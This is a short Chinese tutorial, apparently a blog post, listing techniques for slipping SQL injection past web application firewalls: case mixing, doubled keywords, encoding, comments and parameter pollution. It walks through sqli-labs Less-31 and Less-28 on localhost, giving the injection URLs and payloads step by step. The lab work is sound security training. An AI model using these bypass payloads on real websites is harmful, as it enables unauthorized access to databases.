Waf是Web应用防护系统,也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等。
sql注入绕waf常用方式有以下几种:
1.大小写混合 uNIoN sELecT 1,2,3,4
2.替换关键字 selselectect 1,2,3,4
3.使用编码 %55nion %53elect 1,2,3,4
4.使用注释 union/**/select 1,2,3,4
5.等价函数与命令 @@datadir ==> datadir()
6.特殊符号 select+id+from users
一、以sql labs31为例(此例通过参数污染绕过)
1.在浏览器的输入框输入http://localhost/sqli-labs-master/Less-31/login.php
出现下面界面
2.在浏览器的输入框输入http://localhost/sqli-labs-master/Less-31/login.php?id=1'
回车显示下图,说明存在waf绕过
3.在浏览器输入http://localhost/sqli-labs-master/Less-31/login.php?id=1111&id=1%22)%20and%201=1--%20-
回车显示
4.在浏览器输入http://localhost/sqli-labs-master/Less-31/login.php?id=1111&id=1%22)%20and%201=2--%20-
回车显示下图,说明绕过成功
二、以sql labs28为例
1.在浏览输入:http://localhost/sqli-labs-master/Less-28/?id=1%27%20and%201=1%20--%20-
回车显示下图,发现空格不在了,这时可用%0A代替空格
2.输入:http://localhost/sqli-labs-master/Less-28/?id=1%27%0Aand%0A1=1%0Aand%271%27=%271
回车显示,页面正常
回车显示,即可看到写的内容已经进来
回车显示下图,说明注入成功